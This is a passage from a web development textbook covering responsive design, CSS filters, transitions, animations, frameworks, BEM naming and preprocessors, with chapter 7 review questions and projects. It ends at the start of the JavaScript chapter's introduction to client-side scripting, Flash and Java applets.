that these media queries can be within your CSS file or within the <link>
element; the later requires more HTTP requests but results in more
manageable CSS files.

Dive Deeper

Responsive Design Patterns
Mobile-aware web design has become such a key part of most contemporary
web development, several conventions or patterns have emerged for the
designing of responsive web layouts. Following Luke Wroblewski's1 and
Google's2 pattern names (and their visuals), most developers tend to use one
of the following responsive layouts shown in Figure 7.40 . To see additional
responsive patterns, check out the URLs for these two references.





Figure 7.40 Responsive design
patterns

Figure 7.40 Full Alternative Text

The Mostly Fluid pattern begins with a fluid layout. For larger screens, it
simply fills additional space with empty margins. For smaller screens, media
query breakpoints switch the content to columns stacked vertically.

Like the Mostly Fluid pattern, the Column Drop pattern also stacks columns
vertically for small screens. Unlike the Mostly Fluid pattern, this one takes
advantage of the extra space on larger screens by placing extra content into
vertical columns.

The Off Canvas pattern is more complicated and requires JavaScript. In this
approach, less-frequently used content is placed off-screen on smaller
screens, where it can be accessed via clicking on a button or swiping left or
right.

7.6.3 Scaling Images
Making images scale in size is actually quite straightforward, in that you
simply need to specify the following rule:

img { 

   max-width: 100%; 

}

Of course this does not change the downloaded size of the image; it only
shrinks or expands its visual display to fit the size of the containing parent
element (or the browser window if no parent), never expanding beyond its
actual dimensions. Students are often tempted to define a height, which
usually changes the aspect ratio distorting the image. Using {height: auto},
though not necessary, satisfies the inclination to add height. More
sophisticated responsive designs will serve different sized images based on



the viewport size; using this approach, mobile users with smaller screens will
receive smaller files and thus the page will be quicker to download.

HTML5.1 defines the new <picture> element as an elegant way to do this
task via markup. The <picture> element is a container that lets the designer
specify multiple <img> elements; the browser will determine which <img> to
use based on the viewport size. For instance, examine Figure 7.41 .



Figure 7.41 The <picture>
element and responsive design

Figure 7.41 Full Alternative Text

Notice that each <source> element uses a media query to specify in the
media attribute to specify which image file to download. Note, however, that
at the time of writing (summer 2016), the <picture> element is not yet
supported by all browsers.



7.7 Filters, Transitions, and
Animations
CSS3 added several powerful new additions to CSS. You may remember
from the previous chapter that the W3C subdivided CSS3 into a variety of
different CSS3 modules, some of which have made it to official W3C
Recommendations, while others are still in Draft Mode (but may be strongly
supported already by the browsers). You have been introduced to several of
these already in this chapter including transformations and the flexbox layout
model. In this section, we will look at three more CSS3 modules that have
become broadly popular amongst designers: filters, transitions, and
animations.

7.7.1 Filters

Hands-on Exercises Lab 7
Exercise
Filters

Filters provide a way to modify how an image appears in the browser. If you
have used a program like Adobe Photoshop, you may already be familiar
with the idea of filters. The filters available in CSS3 operate in a similar way.
Filters are specified by using the filter property and then one or more filter
functions are specified, as shown in Listing 7.2.

As you can see in Listing 7.2, some filter functions take a percentage value—
the saturate(2) example in the listing is the same as saturate(200%)—
while others take degrees or pixels. Figure 7.42 illustrates the main CSS3



filters.



Figure 7.42 CSS3 filters in
action

Figure 7.42 Full Alternative Text

Listing 7.2 Using a filter
#someImage { 

   filter: grayscale(100%); 

   /* At time of writing, Chrome and Opera needs prefix */ 

   -webkit-filter: grayscale(100%); 

} 

#anotherImage { 

   /* multiple filters are space separated */ 

   filter: blur(5px) hue-rotate(60deg) saturate(2); 

   -webkit-filter: blur(5px) hue-rotate(60deg) saturate(2); 

}

Pro Tip
When you are constructing a demo page but don't have images available yet,
or you want an image of a particular size but don't care what the image is
actually about (perhaps you are constructing a layout and will be getting the
images later), you can make use of one of several different image placeholder
services. One of the most commonly used is placehold.it; to use it, you
simply specify the size needed in your request:

<img src=“http://placehold.it/250x500”>

This provides you with a plain gray rectangle image with the dimensions
labeled within it. If you would prefer a real image, consider using
placeimg.com or lorempixel.com which provides you with a random image
within a category. And if you absolutely need nothing but cute cat images,
then consider placekitten.com!

http://placehold.it
http://lorempixel.com
http://placekitten.com


7.7.2 Transitions
Transitions are a powerful new feature of CSS3. Normally, changing a CSS
property (via a style rule or using JavaScript) takes effect immediately.
Transitions provide a way to indicate that a property change will take effect
across a length of time. In other words, using CSS transitions you can
animate different CSS properties. While not all properties can be used in
transitions, over 100 can be. Table 7.4 lists the different transition properties.

Table 7.4 Transition
Properties3

Property Description

transition
Short-hand property in the following format:

transition-property transition-duration

transition-timing-function transition-delay

transition-
delay The delay time in seconds before the animation begins.

transition-
duration How long in seconds for the transition to complete.

transition-
property

The name of the CSS property to which the transition
is applied.

transition-
timing-
function

The function that defines how the intermediate steps in
the transition are calculated. CSS defines a variety of
different easing functions which defines acceleration
of the transition.

Creating a transition is, in some ways, quite straightforward. You have to
specify four bits of information (two of which is optional). They are:



1. The CSS property which will be transitioned.

2. The duration of the transition.

3. The easing function to use (optional), which changes the speed and style
of the transition.

4. How long to delay before starting the transition (optional).

Needless to say, it is tricky illustrating a transition, which is a change across
time, in the printed medium. Figure 7.43 illustrates one of the simplest
transitions. In it, instead of a color changing immediately upon entering or
exiting the hover state, we use a transition to change the background color of
a sample button across half a second.



Figure 7.43 A simple
background-color transition on
a button

Figure 7.43 Full Alternative Text

If you test this, notice that the transition happens both on the hover and the
leave hover states.



Let's construct a (seemingly) more complicated transition. Looking at Figure
7.44 , we are animating an entire <div>. When the user hovers over the right
border or icon of the menu <div>, we transition the left property to a new
value, thus moving the element from its initial location off-screen so that it
becomes visible.



Figure 7.44 A sliding menu
transition

Figure 7.44 Full Alternative Text

Hands-on Exercises Lab 7
Exercise
Transitions

Both of these transitions examples are actually pretty straightforward in that
we are only transitioning a single property across time. It is possible however
to create more complicated transitions in which several properties are
changing. Figure 7.45 illustrates how you can use the all keyword to
transition all changed properties for an element across time.



Figure 7.45 Transitioning
several properties



Figure 7.45 Full Alternative Text

While using the all keyword certainly simplifies your transition CSS, it is
inefficient from a performance standpoint: your browser now has to “listen”
to all properties of the transition. A more performance efficient transition
specification for that shown in Figure 7.45 , would list just the transitioned
properties separated by commas:

transition: background-color 1s ease-in 0.25s, 

             color 1s ease-in 0.25s, 

             transform 1s ease-in 0.25s, 

             box-shadow 1s ease-in 0.25s;

Note
You may be wondering if all transitions have to use the :hover pseudo state
since all three examples here made use of it. The answer is no, they don't. But
without recourse to JavaScript there are limits to how we can trigger a
transition effect. Once you learn JavaScript in the next several chapters, you
will have the knowledge needed to attach transitions to a variety of different
events.

7.7.3 Animations

Hands-on Exercises Lab 7
Exercise
Animations

The animation property can be used to animate other CSS properties. CSS3
animations are a powerful supplement to JavaScript-based animations but
require no programming.



You may be wondering how animations differ from transitions. As can be
seen in Figure 7.46 , a transition alters one or more properties between a start
state and an end state. An animation also does that, but it allows a designer
more control over the intermediate steps between the start and ending state.
You do this by specifying keyframe states. As well, animations can repeat
one or more (even infinite) times.

Figure 7.46 Transitions versus
animations

Figure 7.46 Full Alternative Text

To animate an element in CSS, you have to do the following:

Define a set of keyframes rules using the @keyframes keyword.

Assign the various animation properties to the element to be animated.



These are listed in Table 7.5.

Table 7.5 Main Animation
Properties3

Property Description

animation

Short-hand property in the following format:

animation-nameanimation-duration

animation-timing-function animation-

delayanimation-direction animation-

iteration-count animation-fill-mode

animation-play-state

animation-
delay

The delay time in seconds before the animation
begins.

animation-
direction

Should animation play in normal forward
direction or in reverse.

animation-
duration

The length of time that an animation takes to
complete one cycle.

animation-
iteration-
count

The number of times the animation should play.
The default is 1. You can also specify the
keyword infinite to play the animation
repeatedly.

animation-
name The name of the @keyframes rule set.

animation-
play-state

Specifies whether the animation is running or
paused.

animation-
fill-mode

Specifies a state for when the animation is not
playing (before it starts of after it's over).

animation-
timing-
function

CSS defines a variety of different easing
functions which defines the acceleration of the
animation.



Let us begin with a simple animation. The first step is to define a set of
keyframe rules. Listing 7.3 illustrates an example set of rules. Notice that it
consists of multiple style rules; each keyframe is a percentage value (you can
also use the keywords from instead of 0% and to instead of 100%) and defines
the transition state at a point in time in the animation. This particular
keyframe set animates a block of text, changing its size, opacity, and color
over time. It will create the illusion of text “bouncing” in onto the page.

Listing 7.3 An example animation
@keyframes bounceIn { 

   0% { 

      transform: scale(0.1); 

      color: blue; 

      opacity: 0; 

   } 

   70% { 

      transform: scale(1.4); 

      color: red; 

      opacity: 1; 

   } 

   100% { 

      color: green; 

      transform: scale(1); 

   } 

}

Once a keyframe set is defined, you can then reference it via the animation-
name property. Like with transitions, you can customize aspects of the
animation via the properties shown in Table 7.5.

Figure 7.47 illustrates how the keyframe set shown in Listing 7.3 is used to
animate a block of text. In reality, the animation slides left then right; the
figure staggers the text on the y-axis merely for readability. The diagram also
shows how the percentages in the keyframe set are related to the animation-
duration property.



Figure 7.47 Animation example
Figure 7.47 Full Alternative Text



Pro Tip
Perhaps the easiest way to use animations is to make use of an animation
library such as animate.css, magic animations, or hover.css. These open-
source libraries are simply a series of animation properties plus keyframe rule
sets along with CSS classes that reference them.



7.8 CSS Frameworks and
Preprocessors
At this point in your CSS education you may be thinking that CSS layouts are
quite complicated and difficult. You are not completely wrong; many others
have struggled to create complex (and even not so complex) layouts with
CSS. Larger web development companies often have several dedicated CSS
experts who handle this part of the web development workflow. Smaller web
development companies do not have this option, so as an alternative to
mastering the many complexities of CSS layout, they instead use an already
developed CSS framework.

7.8.1 CSS Frameworks

Hands-on Exercises Lab 7
Exercise
Using Bootstrap

A CSS framework is a set of CSS classes or other software tools that make it
easier to use and work with CSS. Early CSS frameworks such as Blueprint
(www.blueprintcss.org) and 960 (960.gs) became popular chiefly as a way to
more easily create complex grid-based layouts without the hassles of floats or
positioning. More sophisticated subsequent CSS Frameworks such as
Bootstrap (getbootstrap.com), Foundation (foundation.zurb.com), Semantic
UI (semantic-ui.com), and Google Materials (material.google.com) provide
much more than a grid system: they provide a comprehensive set of
predefined CSS classes, which makes it easier to construct a consistent and
attractive web interface. Bootstrap, which was originally created by designers

http://www.blueprintcss.org
http://getbootstrap.com
http://foundation.zurb.com
http://semantic-ui.com
http://material.google.com


at Twitter, has become extraordinarily popular and will be used in the Travel
case study. Google Materials is not actually a CSS Framework, but a design
specification that describes how to best construct visual interfaces, not only
for websites, but also for dedicated mobile apps as well. We will be using
Material Design Lite (getmdl.io), which is a Material-inspired CSS
framework from Google, in the Customer Relations Management case study.
Semantic UI provides a much richer, more contemporary-looking collection
of user interface components than Bootstrap or Material Design Lite and is
more customizable, but ideally requires the use of a variety of build tools
such as Gulp and Bower. We will be using Semantic UI in some of the later
chapters in the Art Store case study.

The key advantage of CSS Frameworks for developers is that they do not
need to be especially proficient at visual design to achieve passable, even
aesthetically pleasing web front-ends. One key drawback is related to the
main benefit: namely, because these frameworks are so easy to use, sites
created with them tend to look the same. It is, however, possible to customize
these frameworks using CSS preprocessors. Figure 7.48 illustrates sample
pages created using nothing but the built-in classes in Bootstrap and Google
Materials Lite. Another drawback to many CSS frameworks is that they are
complicated and require their own learning curve. For this reason, some
developers prefer instead to use very minimal, lightweight CSS frameworks
that mainly supply a grid system and some simple typographical styling.
Some examples include Milligram (milligram.github.io) and Pure.css
(purecss.io).

http://getmdl.io
http://milligram.github.io
http://purecss.io




Figure 7.48 Examples using
just built-in Bootstrap and
Materials Lite classes

Figure 7.48 Full Alternative Text

As mentioned earlier, one of the key capabilities of most CSS Frameworks is
a grid system. Print designers typically use grids as a way to achieve visual
uniformity in a design. In print design, the very first thing a designer may do
is to construct, for instance, a 5- or 7- or 12-column grid in a page layout
program like InDesign or Quark Xpress. The rest of the document, whether it
be text or graphics, will be aligned and sized according to the grid, as shown
in Figure 7.49 .



Figure 7.49 Using a grid in
print design

Figure 7.49 Full Alternative Text

CSS frameworks provide similar grid features. Bootstrap and Material Lite
both use a 12-column grid. The grid is constructed using <div> elements with
classes defined by the framework. The HTML elements for the rest of your
site are then placed within these <div> elements. For instance, Listing 7.4
illustrates a three-column layout similar to Figure 7.26 within the grid system



of the Bootstrap framework, while Listing 7.5 shows the same thing in
Material Lite. In Bootstrap, elements are laid out in rows; elements in a row
will span from 1 to 12 columns. Material Lite uses flexbox so any container
element can contain a grid.

Both of these frameworks allow columns to be nested, making it quite easy to
construct the most complex of layouts. As well, modern CSS frameworks are
also responsive, meaning that some of the hard work needed to create a
response site has been done for you. Because of this ease of construction, this
book's examples will often make use of a grid framework. However, CSS
frameworks may reduce your ability to closely control the styling on your
page, and conflicts may occur when multiple CSS frameworks (and even
different version of the same framework) are used together.

Listing 7.4 Using the Bootstrap grid
<head> 

   <link href=“bootstrap.css” rel=“stylesheet”> 

</head> 

<body> 

  <div class=“container”> 

    <div class=“row”> 

      <div class=“col-md-2”> 

        left column 

      </div> 

      <div class=“col-md-7”> 

         main content 

      </div> 

      <div class=“col-md-3”> 

        right column 

      </div> 

    </div> 

  </div> 

</body>

Listing 7.5 Using the Material Lite
grid



<head> 

  <link rel=“stylesheet” href=“material.css” /> 

</head> 

<body> 

  <div class=“mdl-grid”> 

    <div class=“mdl-cell mdl-cell--2-col”> 

      left column 

    </div> 

    <div class=“mdl-cell mdl-cell--7-col”> 

      main content 

    </div> 

    <div class=“mdl-cell mdl-cell--3-col”> 

      right column 

    </div> 

  </div> 

</body>

Dive Deeper

Naming Conventions and Style
Guides
Looking at Listing 7.5, you might be puzzled by the strange class names used
by the Material Lite Framework. They are in fact an example of the popular
BEM (Block-Element-Modifier) naming convention. When you style a
complex site (without the benefit of a framework), it does not take long
before you have many CSS classes and selectors, often dozens and dozens
and dozens of them. Each developer might have his or her own system for
naming classes or using selectors; if there are several developers then
maintaining such a hodgepodge can be a nightmare. Following a consistent
naming and usage convention makes it easier to make changes and reuse
styles.

BEM is one of the more popular naming and usage systems. It is based on the
idea that all content on a web page can be categorized as logical blocks and
elements. As can be seen in Figure 7.50 , a block is a user interface entity that



could potentially be reused elsewhere on a page or site. A block is composed
of elements that are not usable outside of their block. A modifier is an
optional extra that can be used to alter the appearance of a block or element.

Figure 7.50 Blocks, elements,
and modifiers

Figure 7.50 Full Alternative Text

Listing 7.6 illustrates how the BEM naming convention works, which uses
the following system for naming classes:

block__element--modifier

Using BEM does take some getting used to. In the BEM approach, one uses
CSS classes for all styling. That is, you do not make use of descendent,
element, or id selectors!

Listing 7.6 Using BEM
/* BEM examples */

.menu { … } 



.menu--animated { … } 

.menu__item { … } 

.menu__item--active { … } 

.menu__item--recommended { … } 

<ul class=“menu”> 

  <li class=“menu__item menu__item--active”>…</li> 

  <li class=“menu__item”>…</li> 

  <li class=“menu__item”>…</li> 

</ul> 

<ul class=“menu menu--animated”> 

  <li class=“menu__item menu__item--recommended”>…</li> 

  <li class=“menu__item”>…</li> 

  <li class=“menu__item”>…</li> 

</ul>

A supplement to a formal naming convention is to make use of a style guide.
A style guide is a document to be used by designers and developers which
visually describes the standard design and associated CSS classes to be used
throughout a website. As described by Susan Robertson on alistapart.com, a
style guide is “a one-stop place for the entire team—from product owners and
producers to designers and developers—to reference when discussing site
changes and iterations.”5 Many of these style guides can be found online.6
Figure 7.51 illustrates two example style guides; they describe the CSS and
HTML needed for a wide variety of user interface elements, making it easier
for new developers to learn not only the design language used on a site, but
recipes for implementing the elements.

http://alistapart.com


Figure 7.51 Sample style guides
Figure 7.51 Full Alternative Text

7.8.2 CSS Preprocessors
CSS preprocessors are tools that allow the developer to write CSS that takes
advantage of programming ideas such as variables, inheritance, calculations,
and functions. It is a tool that takes code written in some type of preprocessed



language and then converts that code into normal CSS.

The advantage of a CSS preprocessor is that it can provide additional
functionalities that are not available in CSS. One of the best ways to see the
power of a CSS preprocessor is with colors. Most sites make use of some
type of color scheme, perhaps four or five colors. Many items will have the
same color. For instance, in Figure 7.52 , the background color of the .box
class and <footer> element, the border color of the <fieldset>, and the text
color for placeholder text within the <textarea> element, might all be set to
#796d6d. The trouble with regular CSS is that when a change needs to be
made (perhaps the client likes #e8cfcf more than #796d6d), then some type
of copy and replace is necessary, which always leaves the possibility that a
change might be made to the wrong elements. Similarly, it is common for
different site elements to have similar CSS formatting, for instance, different
boxes to have the same padding. Again, in normal CSS, one has to use copy
and paste to create that uniformity.





Figure 7.52 Using a CSS
preprocessor

Figure 7.52 Full Alternative Text

In a programming language, a developer can use variables, nesting, functions,
or inheritance to handle duplication and avoid copy-and-pasting and search-
and-replacing. CSS preprocessors such as Less, Sass, and Stylus provide this
type of functionality. Figure 7.52 illustrates how a CSS preprocessor (in this
case Sass) is used to handle some of the just-mentioned duplication and
change problems.

In Chapter 11, you will learn about server-side languages such as PHP and
ASP.NET. One way to think of these server-side environments is that they
are a type of preprocessor for HTML. In reality, most real-world sites are not
created as static HTML pages, but use programs running on the server that
output HTML. CSS preprocessors are analogous: they are programs that
generate CSS. In the first edition of this book, we wrote “perhaps in a few
years, it will be much more common for developers to use them.” Three years
later, we can now say that CSS preprocessors have become an essential tool
in the workflow of today's (2016) front-end developers.

Tools Insight
CSS preprocessors have become an essential part of contemporary web
development workflow. Once you start using one, you will likely wonder
why you haven't always used one. Perhaps the major disincentive to using
one is the hassle involved in setting it up. Sass, for instance, requires the
installation of Ruby, while Less typically involves installing npm, the node.js
package manager. While neither of these prerequisites are unusual for an
experienced developer, they are likely to seem daunting for new developers.
Figure 7.53 illustrates how these preprocessors are used in a command

http://ASP.NET


line/terminal environment.

Figure 7.53 Using a CSS
preprocessor

Figure 7.53 Full Alternative Text

Some alternatives to using the command line approach is to use an online
SASS playground such as sassmeister.com or make use a GUI tool such as
Koala, as shown in Figure 7.54 . These programs provide a visual way to use
CSS preprocessors. They can also be used in conjunction with JavaScript
preprocessors such as TypeScript and act as a visual alternative to JavaScript
task runners such as Grunt and Gulp (covered in Chapter 20).

http://sassmeister.com


Figure 7.54 GUI alternative to
using a CSS preprocessor

Figure 7.54 Full Alternative Text

One of the key tasks performed by these tools is minification. This refers to
the process of removing unnecessary characters such as extra spaces and
comments in order to reduce the size of the code and thus reduce the time it
takes to download it. A minified CSS file is difficult to read and revise, so it
is common for developers to have two versions of any given CSS file: the
developer's version which has white space and comments, and the minified
version which is generated by a tool and then used in the production version
of the site. Later in Chapter 10, you will see that JavaScript developers follow
the same approach. In both cases .min. is used in the filename to
differentiate the minified version:

styles.css      // developers version

styles.min.css  // minified version for production



7.9 Chapter Summary
This chapter has covered the sometimes complicated topics of CSS layout. It
began with the building blocks of layout in CSS: positioning and floating
elements. The chapter also examined different approaches to creating page
layouts as well as the recent and vital topic of responsive design. The chapter
ended by looking at different types of CSS frameworks and preprocessors
that can simplify the process of creating and maintaining complex CSS
designs.

7.9.1 Key Terms
absolute positioning

animations

BEM

block

block-element-modifier

block-level elements

clear property

containing block

CSS framework

CSS media queries

CSS preprocessors

elements



filters

fixed layout

fixed positioning

flexbox layout

float property

fluid layout

image placeholder services

inline elements

keyframes

liquid layout

modifiers

nonreplaced inline elements

normal flow

positioning context

progressive enhancement

relative positioning

replaced inline elements

responsive design

style guides

transforms



transitions

viewport

z-index

7.9.2 Review Questions
1. Describe the differences between relative and absolute positioning.

2. What is normal flow in the context of CSS?

3. Describe how block-level elements are different from inline elements.
Be sure to describe the two different types of inline elements.

4. In CSS, what does floating an element do? How do you float an
element?

5. In CSS positioning, the concept of a positioning context is important.
What is it and how does it affect positioning? Provide an example of
how positioning context might affect the positioning of an element.

6. Briefly describe the three ways to construct multicolumn layouts in CSS.
Be sure to discuss the relative advantages and disadvantages of each
approach.

7. Write the CSS and HTML to create a two-column layout using
positioning, floating, and flexbox approaches.

8. What is responsive design? Why is it important?

9. What are the advantages and disadvantages of using a CSS framework.

10. Explain the role of CSS preprocessors in the web development
workflow.

11. What advantages do a CSS naming convention provide?



12. How are transitions different from animations?

7.9.3 Hands-On Practice

Project 1: Art Store

Difficulty Level: Intermediate

Overview
Demonstrate your proficiency with absolute positioning and floats by
modifying chapter07-project1.css so that chapter07-project1.html looks
similar to that shown in Figure 7.55 .



Figure 7.55 Completed Project
1



Figure 7.55 Full Alternative Text

Hands-on Exercises Lab 7
Project 1

Instructions
1. Examine chapter07-project1.html in the browser. The HTML does not

need to be modified for this project.

2. You have three layout tasks. The first will be the large text on top of the
banner image in the header. Use absolute positioning to place the <div>
with the banner—title class on top of the banner image. The exact
position is not important; just try to get it approximately in the center.
Also style the rest of the banner title text.

3. The next layout task is the highlights section. You will use a float to
move the image within the highlights—media element to the left of the
text. The highlights—buttonlink within the highlights—text element will
be floated to the right. You will also use a float to move the highlights—
container elements to the left.

4. The final layout task will use absolute positioning to construct the
mosaic of paintings. Remember that absolute positioning is relative to
the last positioned ancestor. We recommend that you use relative
positioning on the mosaic container. You can then use absolute
positioning for each mosaic image.

Testing
1. View chapter07-project01.html in the browser. It should look similar to

that shown in Figure 7.55 . Note that you will need a wide browser



window on a desktop machine.

2. Try resizing the browser window and make it smaller. The layout will be
a mess! It illustrates one of the main problems with complicated
positioning layouts: they don't scale well to smaller browser windows.



Project 2: Book CRM

Difficulty Level: Intermediate

Overview
Use the flexbox layout mode and media queries to create a responsive layout.

Hands-on Exercises Lab 7
Project 2

Instructions
1. Open chapter07-project02.html in the browser. You will be modifying

the CSS only.

2. Modify styles.css and float the <h1> in the header to the left and the
vertical line menu image to the right.

3. Right now each card fills the entire width of the available space. Change
the width of the card class to 24%. By taking less than a quarter of the
available space, we will eventually be able to fit four cards on a row.

4. Now we need to use the flexbox mode. You will need to add
display:flex to the cards class.

5. Change the max-width property of the <figure> image to 100%.



6. Modify the card class by setting its flex property to 0 1 auto. Test in
browser. Set the justify-content, align-items, and flex-wrap properties
appropriately in order to achieve a layout similar to that shown in Figure
7.56 .





Figure 7.56 Completed
Project 2

Figure 7.56 Full Alternative Text

7. Trying resizing the browser; notice how the flex containers continue to
shrink in width in order to maintain the four columns. Why four
columns? Remember back in step three we set the width to 24%, so the
browser is trying to maintain that rule.

8. Add a media query for screens 480 px wide and less. In it, change the
card width to 100% and test. Now on a small screen, each card will fill
the entire width. Also reduce the height of the header as well as the
margin and padding of its heading.

9. Add a media query for tablets between 481 px and 768 px. Change the
card width so two cards are displayed on each row.

10. Add a 2 second transition on the opacity property when hovering over or
off of the See More span with the button class This will create the
illusion of the span fading into (or out of) visibility. Also, add a drop
shadow and a saturation filter of about 130% when hovering over any of
the card images.

Testing
1. View chapter07-project02.html in the browser. Be sure to test at

different sizes to verify the media queries work as expected (see Figure
7.56 ).

Project 3: Share Your Travel



Photos

Difficulty Level: Intermediate

Hands-on Exercises Lab 7
Project 3

Overview
Use the Bootstrap CSS framework (included with the start files, but you may
want to instead download the most recent version) as well as modify
chapter07-project03.css and chapter07-project03.html so it looks similar to
that shown in Figure 7.57 .





Figure 7.57 Completed Project
3

Figure 7.57 Full Alternative Text

Instructions
1. Examine chapter07-project03.html in the browser. You will need to add

a fair bit of HTML in accordance with the Bootstrap documentation.
Since you can use the various Bootstrap classes, you will need to write
very little CSS (the solution shown in Figure 7.57 has just over a dozen
rules defined).

2. The first step will be defining the basic structure. Figure 7.57 shows that
most of the content is contained within a main row (i.e., below the
navbar and above the footer) that is composed of two columns (one 2
wide, the other 10 wide). The Bootstrap grid classes (e.g., col-md-10)
are shown at the top of the figure. One of the columns has a nested row
within it that contains the main photo image and the data on the photo.

3. The footer contains three columns. One of these contains another nested
row.

4. Figure 7.57 identifies the other Bootstrap components that are used in
this project. You will need to use the online Bootstrap documentation
for more information on how to use these components.

Testing
1. Be sure to test by increasing/decreasing the size of the browser window.

If you shrink the browser window sufficiently it should use the built-in



Bootstrap media queries to adapt nicely to the smaller window size. This
will require you to construct the navbars with the appropriate collapse
classes.
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Chapter Objectives
In this chapter you will learn …

About JavaScript's role in contemporary web development

How to add JavaScript code to your web pages

The main programming constructs of the language

The importance of objects and arrays in JavaScript

How to use functions and prototypes in JavaScript

This chapter introduces the fundamentals of the JavaScript programming
language. Once used only for a few narrow special effects, JavaScript has
become the key building block for modern web applications. JavaScript can
be used to programmatically access and dynamically manipulate any aspect
of the HTML document's appearance or content. It can be used to animate,
move, transition, hide, and load content into parts of a page rather than
refresh an entire page from the server. Environments and libraries such as
node.js and React have extended JavaScript to the server and to native mobile
application development. This growing popularity has made detailed
JavaScript knowledge an essential skill for anyone working in contemporary
application development. This chapter will focus on learning the
fundamentals of the JavaScript programming language. Once these are
mastered, the next chapter will apply this knowledge to practical applications.



Authors' Advice
JavaScript may not be an ideal first programming language for students. It is
an easy language to start programming with in the sense that no additional
tools like compilers are needed, and indeed, this is part of its broad appeal.
On the other hand, the language has many idiosyncrasies and complexities
that make full mastery of the language challenging. This chapter (and book)
doesn't have the space to teach the basics of programming; instead it
endeavors to teach JavaScript. For that reason we expect the reader of this
chapter to already have some familiarity with another programming language
before learning about JavaScript.

It should also be noted that even for experienced programmers, some aspects
of JavaScript can be initially confusing. This first chapter on JavaScript
covers all the essentials of the JavaScript programming language. Some of
these essentials are not, however, immediately essential. That is, when you
are first learning JavaScript, some readers might want to initially skip over
some of the content in this chapter that is more advanced or tricky; later,
when you (or your students if you are an instructor) gain more experience
with the language, you can go back and learn about some of the more
advanced topics.

If you are a less-experienced programmer, you may want to skip over the
following sections: 8.2.4, 8.9.2-8.9.3, 8.9.7, and 8.10. Similarly, the Dive
Deeper sections in this chapter could be skipped until you are more
comfortable with the basics of JavaScript.



8.1 What is JavaScript and What
Can It Do?
Larry Ullman, in his Modern Java Script: Develop and Design (Peachpit
Press, 2012), has an especially succinct definition of JavaScript: it is an
object-oriented, dynamically typed scripting language. In the context of this
book, we can add as well that it is primarily a client-side scripting language.
(We will discuss node.js, a popular server-side implementation of JavaScript,
later in this book).

JavaScript is object oriented in that almost everything in the language is an
object. For instance, variables are objects in that they have properties and
methods (more about these terms in Section 8.8). Unlike more familiar
object-oriented languages such as Java, C#, and C++, functions in JavaScript
are also objects. As you will see later in the chapter, the objects in JavaScript
are prototype based rather than class based, which means that while
JavaScript shares some syntactic features of Java or C#, it has significant
differences from those languages.

JavaScript is dynamically typed (also called weakly typed) in that variables
can be easily (or implicitly) converted from one data type to another. In a
programming language such as Java, variables are statically typed, in that the
data type of a variable is declared by the programmer (e.g., int abc) and
enforced by the compiler. With JavaScript, the type of data a variable can
hold is assigned at run-time and can change during run-time as well.

The final term in the aforementioned definition of JavaScript is that it is a
client-side scripting language, and due to the importance of this aspect, it will
be covered in a bit more detail in the following sections.

Note



It should be stressed that JavaScript and Java are vastly different
programming languages with very different uses. Java is a fully fledged
compiled, object-oriented language, popular for its ability to run on any
platform with a Java Virtual Machine installed. JavaScript is one of the
world's most popular languages, with fewer of the object-oriented features of
Java, and runs directly inside the browser, without the need for the JVM.
Although there are some syntactic similarities, the two languages are not
interchangeable and should not be confused with one another. As
wonderfully summed up by Kyle Simpson in his You Don't Know JavaScript
series (O'Reilly, 2015), “JavaScript is as related to ‘Java’ as ‘Carnival’ is to
‘Car’.”

8.1.1 Client-Side Scripting
The idea of client-side scripting is an important one in web development. It
refers to the client machine (i.e., the browser) running code locally rather
than relying on the server to execute code and return the result. There are
many client-side languages that have come into use over the past decade
including Flash, VBScript, Java, and JavaScript. Some of these technologies
only work in certain browsers, while others require plugins to function. We
will focus on JavaScript due to its browser interoperability (that is, its ability
to work/operate on most browsers). Figure 8.1 illustrates how a client
machine downloads and executes JavaScript code.



Figure 8.1 Downloading and
executing a client-side
JavaScript script

Figure 8.1 Full Alternative Text

There are many advantages of client-side scripting:

Processing can be off-loaded from the server to client machines, thereby



reducing the load on the server.

The browser can respond more rapidly to user events than a request to a
remote server ever could, which improves the user experience.

JavaScript can interact with the downloaded HTML in a way that the
server cannot, creating a user experience more like desktop software
than simple HTML ever could.

The disadvantages of client-side scripting are mostly related to how
programmers use JavaScript in their applications. Some of these include the
following:

There is no guarantee that the client has JavaScript enabled, meaning
any required functionality must be implemented redundantly on the
server.

The idiosyncrasies of JavaScript implementation between various
browsers and operating systems make it difficult to test for all potential
client configurations. What works in one browser, may generate an error
in another.

JavaScript is not fault tolerant. Browsers are able to handle invalid
HTML or CSS. But if your page has invalid JavaScript, it will simply
stop execution at the invalid line.

JavaScript-heavy web applications can be complicated to debug and
maintain. JavaScript has often been used through inline HTML hooks,
embedded into the HTML of a web page. Although this technique has
been used for years, it has the distinct disadvantage of blending HTML
and JavaScript together, which decreases code readability, and increases
the difficulty of web development.

Despite these limitations, the ability to enhance the visual appearance of a
web application while potentially reducing the demands on the server make
client-side scripting something that is a required competency for the web
developer. Understanding the fundamentals of the language will help you
avoid JavaScript's pitfalls and allow you to create compelling web



applications.

Dive Deeper

Flash and Java Applets
We should mention that JavaScript is not the only type of client-side
scripting. There are two other noteworthy client-side approaches to web
programming.

Perhaps the most familiar (though much less so today than five years ago) of
these alternatives is Adobe Flash (now called Adobe Animate), which is a
vector-based drawing and animation program, a video file format, and a
software platform that has its own JavaScript-like programming language
called ActionScript. Flash is often used for animated advertisements and
online games, and can also be used to construct web interfaces.

It is worth understanding how Flash works in the browser. Flash objects (not
videos) are in a format called SWF (Shockwave Flash) and are included
within an HTML document via the <object> tag. The SWF file is then
downloaded by the browser and then the browser delegates control to a plug-
in to execute the Flash file, as shown in Figure 8.2 . A browser plug-in is a
software add-on that extends the functionality and capabilities of the browser
by allowing it to view and process different types of web content.



Figure 8.2 Adobe Flash
Figure 8.2 Full Alternative Text

It should be noted that a browser plug-in is different than a browser extension
—these also extend the functionality of a browser but are not used to process
downloaded content. For instance, FireBug extension in the Firefox browser



provides a wide range of tools that help the developer understand what's in a
page; it doesn't really alter how the browser displays a page.

The second (and oldest) of these alternatives to JavaScript is Java applets. An
applet is a term that refers to a small application that performs a relatively
small task. Java applets are written using the Java programming language and
are separate objects that are included within an HTML document via the
<applet> tag, downloaded, and then passed on to a Java plug-in. This plug-in
then passes on the execution of the applet outside the browser to the Java
Runtime Environment (JRE) that is installed on the client's machine. Figure
8.3 illustrates how Java applets work in the web environment.



Figure 8.3 Java applets
Figure 8.3 Full Alternative Text

Both Flash plug-ins and Java applets are losing support by major players for a
number of reasons. First, Java applets require the JVM be installed and up to
date, which some players are not allowing for security reasons (Apple's iOS
powering iPhones and iPads supports neither Flash nor Java applets). Second,



Flash and Java applets also require frequent updates, which can annoy the
